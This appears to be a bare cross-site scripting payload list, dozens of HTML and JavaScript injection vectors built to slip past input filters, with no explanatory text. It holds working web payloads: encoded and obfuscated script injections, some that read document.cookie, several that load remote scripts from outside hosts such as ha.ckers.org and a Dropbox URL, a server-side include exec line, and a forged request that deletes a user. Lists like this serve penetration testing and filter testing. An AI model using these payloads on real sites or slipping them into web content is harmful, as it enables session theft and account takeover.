<BODY BACKGROUND="javascript:confirm('XSS')">
<IMG DYNSRC="javascript:confirm('XSS')">
<IMG LOWSRC="javascript:confirm('XSS')">
<STYLE>li {list-style-image: url("javascript:confirm('XSS')");}</STYLE><UL><LI>XSS>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=confirm('XSS')>
<BGSOUND SRC="javascript:confirm('XSS');">
<LINK REL="stylesheet" HREF="javascript:confirm('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:confirm("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(confirm('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(confirm("XSS"))'>
<STYLE TYPE="text/javascript">confirm('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:confirm('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:confirm('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:confirm('XSS')")}</STYLE>
<XSS STYLE="xss:expression(confirm('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
1⁄4script3⁄4confirm(¢XSS¢)1⁄4/script3⁄4
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:confirm('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:confirm('XSS');">
<IFRAME SRC="javascript:confirm('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="confirm(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:confirm('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:confirm('XSS')">
<TABLE><TD BACKGROUND="javascript:confirm('XSS')">
<DIV STYLE="background-image: url(javascript:confirm('XSS'))">
<DIV STYLE="background-
image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\00
61\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1;javascript:confirm('XSS'))">
<DIV STYLE="width: expression(confirm('XSS'));">
<BASE HREF="javascript:confirm('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT
SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>confirm("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>confirm('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD>+ADw-SCRIPT+AD4-confirm('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<iframe src="&Tab;javascript:confirm(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<sVg><scRipt >confirm&lpar;1&rpar; {Opera}
<img/src=`` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=``&NewLine; onerror=confirm(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>confirm(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /**/>/**/confirm(1)/**/</script /**/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
<iframe/src="data:text/html,<svg &#111;&#110;load=confirm(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; confirm(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;confirm&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
</script><img/*/src="worksinchrome&colon;confirm&#x28;1&#x29;"/*/onerror='eval(src)'>
<img/&#09;&#10;&#11; src=`~` onerror=confirm(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;confirm(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-
cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;
>X</a
http://www.google<script .com>confirm(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00;
onmouseover=confirm&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = confirm('&#49;')
<style/onload=confirm&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>confirm(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/confirm(document.location)/**/</script &#32; :-(
&#00;</form><input type&#61;"date" onfocus="confirm(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script
/***/
<iframe srcdoc='&lt;body onload=confirm&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:confirm(1)&NewLine;>X</a>
<script ~~~>confirm(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;confirm&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='confirm&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;confirm(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:confirm&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javaSCRIPT&colon;confirm(1)
//<form/action=javascript&#x3A;confirm&lpar;document&period;cookie&rpar;><input/type='submit'>
//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=confirm(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript:&#13; javascript:confirm(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=confirm(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>confirm&#x28;1&#x29; {Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='confirm&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="confirm(1)">
<a href="jAvAsCrIpT&colon;confirm&lpar;1&rpar;">X</a>
<embed
src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object
data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="confirm(1)">On Mouse Over</var>
<a href=javascript&colon;confirm&lpar;document&period;cookie&rpar;>Click Here</a>
<img src="/" =_=" title="onerror='confirm(1)'">
<%<!--'%><script>confirm(1);</script -->
<script src="data:text/javascript,confirm(1)"></script>
<iframe/src \/\/onload = confirm(1)
<iframe/onreadystatechange=confirm(1)
<svg/onload=confirm(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='confirm(1)'>X</div>
http://www.<script>confirm(1)</script .com
<iframe
src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;
&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Ta
b;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&T
ab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&
Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;
&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Ta
b;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&
Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;
&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&T
ab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;
&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
<svg><script ?>confirm(1)
<iframe
src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Ta
b;t&Tab;%28&Tab;1&Tab;%29></iframe>
<img src=`xx:xx`onerror=confirm(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<meta http-equiv="refresh" content="0;javascript&colon;confirm(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.
\u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 &
/=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65
%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+-+-1-+-+confirm(1)</script>
<body/onload=&lt;!--&gt;&#10confirm(1)>
<script itworksinallbrowsers>/*<script* */confirm(1)</script
<img src ?itworksonchrome?\/onerror = confirm(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> confirm(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa
href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> confirm(1) </script 1=2
<div/onmouseover='confirm(1)'> style="x:">
<--`<img/src=` onerror=confirm(1)> --!>
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x00
0070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="confirm(1)"
onclick="confirm(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;confirm(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%7
3%63%72%69%70%74%3E"></iframe>